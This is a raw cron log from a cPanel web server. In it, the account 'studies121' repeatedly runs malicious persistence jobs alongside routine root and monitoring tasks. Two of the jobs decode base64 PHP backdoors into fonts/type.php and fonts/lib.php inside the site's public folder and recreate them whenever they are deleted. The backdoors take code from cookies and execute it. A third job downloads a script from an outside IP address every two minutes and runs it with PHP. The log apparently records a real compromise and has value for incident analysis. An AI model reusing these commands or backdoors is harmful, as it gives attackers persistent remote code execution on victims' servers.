Sep  5 23:16:01 ip-184-168-122-23 CROND[8726]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:16:01 ip-184-168-122-23 CROND[8724]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 23:17:02 ip-184-168-122-23 CROND[8810]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:17:02 ip-184-168-122-23 CROND[8811]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 23:17:02 ip-184-168-122-23 CROND[8813]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:17:02 ip-184-168-122-23 CROND[8812]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 23:18:01 ip-184-168-122-23 CROND[8888]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:18:01 ip-184-168-122-23 CROND[8889]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 23:18:01 ip-184-168-122-23 CROND[8890]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 23:18:01 ip-184-168-122-23 CROND[8891]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 23:18:01 ip-184-168-122-23 CROND[8892]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:19:01 ip-184-168-122-23 CROND[8978]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:19:01 ip-184-168-122-23 CROND[8981]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 23:19:01 ip-184-168-122-23 CROND[8982]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:19:01 ip-184-168-122-23 CROND[8983]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 23:20:02 ip-184-168-122-23 CROND[9162]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 23:20:02 ip-184-168-122-23 CROND[9163]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 23:20:02 ip-184-168-122-23 CROND[9164]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:20:02 ip-184-168-122-23 CROND[9169]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 23:20:02 ip-184-168-122-23 CROND[9166]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 23:20:02 ip-184-168-122-23 CROND[9170]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:20:02 ip-184-168-122-23 CROND[9168]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 23:20:02 ip-184-168-122-23 CROND[9167]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 23:20:02 ip-184-168-122-23 CROND[9171]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 23:21:01 ip-184-168-122-23 CROND[9264]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 23:21:01 ip-184-168-122-23 CROND[9267]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:21:01 ip-184-168-122-23 CROND[9266]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:21:01 ip-184-168-122-23 CROND[9265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 23:22:01 ip-184-168-122-23 CROND[9365]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 23:22:01 ip-184-168-122-23 CROND[9367]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 23:22:01 ip-184-168-122-23 CROND[9369]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:22:01 ip-184-168-122-23 CROND[9370]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 23:22:01 ip-184-168-122-23 CROND[9371]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:23:01 ip-184-168-122-23 CROND[9451]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:23:01 ip-184-168-122-23 CROND[9453]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 23:23:01 ip-184-168-122-23 CROND[9454]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 23:23:01 ip-184-168-122-23 CROND[9457]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:24:01 ip-184-168-122-23 CROND[9552]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:24:01 ip-184-168-122-23 CROND[9551]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 23:24:01 ip-184-168-122-23 CROND[9554]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 23:24:01 ip-184-168-122-23 CROND[9553]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 23:24:01 ip-184-168-122-23 CROND[9556]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:25:01 ip-184-168-122-23 CROND[9677]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 23:25:01 ip-184-168-122-23 CROND[9678]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 23:25:01 ip-184-168-122-23 CROND[9679]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 23:25:01 ip-184-168-122-23 CROND[9681]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:25:01 ip-184-168-122-23 CROND[9682]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:25:01 ip-184-168-122-23 CROND[9683]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 23:26:01 ip-184-168-122-23 CROND[9804]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 23:26:01 ip-184-168-122-23 CROND[9808]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:26:01 ip-184-168-122-23 CROND[9806]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 23:26:01 ip-184-168-122-23 CROND[9805]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 23:26:01 ip-184-168-122-23 CROND[9807]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:27:01 ip-184-168-122-23 CROND[10131]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 23:27:01 ip-184-168-122-23 CROND[10130]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:27:01 ip-184-168-122-23 CROND[10133]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:27:01 ip-184-168-122-23 CROND[10132]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 23:28:01 ip-184-168-122-23 CROND[10398]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:28:01 ip-184-168-122-23 CROND[10399]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:28:01 ip-184-168-122-23 CROND[10400]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 23:28:01 ip-184-168-122-23 CROND[10402]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 23:28:01 ip-184-168-122-23 CROND[10401]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 23:29:01 ip-184-168-122-23 CROND[10552]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
